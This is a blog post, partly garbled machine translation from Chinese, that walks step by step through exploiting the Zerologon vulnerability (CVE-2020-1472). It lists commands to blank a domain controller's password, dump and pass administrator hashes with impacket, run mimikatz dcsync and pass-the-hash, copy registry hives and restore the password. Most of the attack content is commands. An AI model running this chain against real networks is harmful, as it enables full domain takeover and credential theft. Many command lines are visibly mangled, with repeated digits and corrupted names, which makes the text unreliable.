Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86381400

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

CVE-2020-1472

https://www.anquanke.com/post/id/219374

本文提到了一种适用于无法恢复其他方法的方法

DeDomain之后,您可以使用PowerShell强制同步并一次重置计算机的机器帐户密码。 (包括AD,注册表,LSA中的密码)。 1powershell Reset-ComputerMachinePassword

环境

12 Domain: AAAA.COMDC: LX-DC01.AAAA.COM -ip- 192.168.1.4

Python版本

poc

https://github.com/SecuraBV/CVE-2020-1472

1Python3 Zerologon_tester.py LX-DC01 192.168.1.4

安装爆炸式

12GIT克隆https://GITHUB.COM/SECUREAUTHCORP/IMPACKET.GITCD impacket pip3 install。

漏洞利用

https://github.com/risksense/zerologon-set_empty_pw.py

1python3 set_empty_pw.py LX-DC01 192.168.1.4

获取域管理员的哈希

1python3 secretsdump.py AAAA.COM/LX-DC01\$@192.168.1.4 -no-pass

使用wmiexec

使用“管理员”哈希获取域管理权限

1python3 wmiexec.py -hashes :BE833AC3F39C0F843B1B653D37C34DBE AAAA.com/administrator@1192.168.1.4

获取目标原始哈希

1010 123REG SAVE HKLM \ hklm \ hklm \ saveg System.savereg Sake Save Save Save HKLM \ Sam.secore Security 33 33 33 33 33 33 33 33 33 123get system.saveget sam.saveget Security.save put点:此步骤可能导致Python无法下载1234个以不同语言的编码。 You can first get the following language and then search for the corresponding encoding https://docs.python.org/3/library/codecs.html specify the following encoding python3 wmiexec.py -hashes :be833ac3f39c0f843b1b653d37c34dbe aaaaa.com/administrator@192.168.1.4 -codec GB2312也可以使用Net用途将文件复制回1234567mimi注射hash hash中cmdprivilege:333:Debugsakurlsakurlsa33333333333333333333333333:ISTRITAR /domain:AAAA /NTLM:BE833AC3AC3F39C0F843B1B653D37C34C34DBENET使用\ \ 192.168.1.1.4copy \\ \ \ \ \ 192.168.1.1.1.1.1.4 \ c $ \ c $ \ c $ \ c333333333333: \ c3: \ \\192.168.1.4\c$\sam.save c:\sam.savecopy \\192.168.1.4\c$\security.save c:\security.save

将导出的哈希文件下载到本地

123del /f system.savedel /f sam.savedel /f security.save

删除域控制主机上导出的哈希文件。

1Python3 SecretSdump.py -sam sam.sam.save -System System.Save -security Security.Save local

使用SecretsDump读取下载到局部区域的哈希文件,并获取原始哈希域控制机器帐户位于前所未有的位置

建议使用:脚本可能缺少XXX软件包,导致错误。我还没有弄清楚原因是什么

https://github.com/mstxq17/cve-2020-1472-RestorePassword.py

1Python3 RestorePassword.py aaaa.com/lx-dc01@lx-dc01 -target-ip 192.168.1.4 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f96956 3803B0F1BAE7CCD24B29B41AE611025F1952793562D73E7F4E7F4E0F4E0F8938B3361332B3 5DD5EE222785B79B922149DB32DC5C9301F4F4FD9FD090F532575BF5197A9C9230955 BFD96AB928AE66B3999730C75B8545E26770816F21F21F2BF9DBBBBB19432211A91224C 4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240 bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960不建议:更暴力,将再次调用,并且使用空密码的哈希来计算session_key

https://github.com/risksense/zerologon -renstall_original_pw.py

1Python3 Reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_IP_IP_ADDR ORIG_NT_HASH

密码恢复

:010

mimikatz版本

1 SHELL C: \ INTEL \ INTEL \ MIMIKATZ.EXE /counch:lx-dc01 $''exit'1lsadump:zerologon /target:192.168.1.4 /councel:lx-dc01 $ :010101010110110 1shell C: \ intel c: 'lsadump:3:zerologon /target:lx-dc01.aaaa.com /counce:lx-dc01 $ /exploit'E exit'1lsAdump:3333:zerologon /target 3:lx-dcell ofer C:\Intel\mimikatz.exe 'lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAA /authpassword: /authntlm' 'exit'1lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAAA /authpassword: /authntlm

poc

1shell C:\Intel\mimikatz.exe 'privilege:debug' 'sekurlsa:pth /user:administrator /domain:AAAAA /ntlm:be833ac3f39c0f843b1b653d37c34dbe' 'exit12privilege:debugsekurlsa:pth /user:administrator /domain:AAAAA /NTLM:BE833AC3F39C0F843B1B653D37C34DBE

漏洞利用

1 SHELL C: \ INTEL \ MIMIKATZ.EXE'lsAdump333333:posterologon /Terogolologon /tarogolologon /tarogologon.44.44.44.44.44.444.44。 /counch:lx-dc01 $''exit'1lsadump:3:postzerologon /target:192.168.1.4 /councor3:lx-dc01 $ $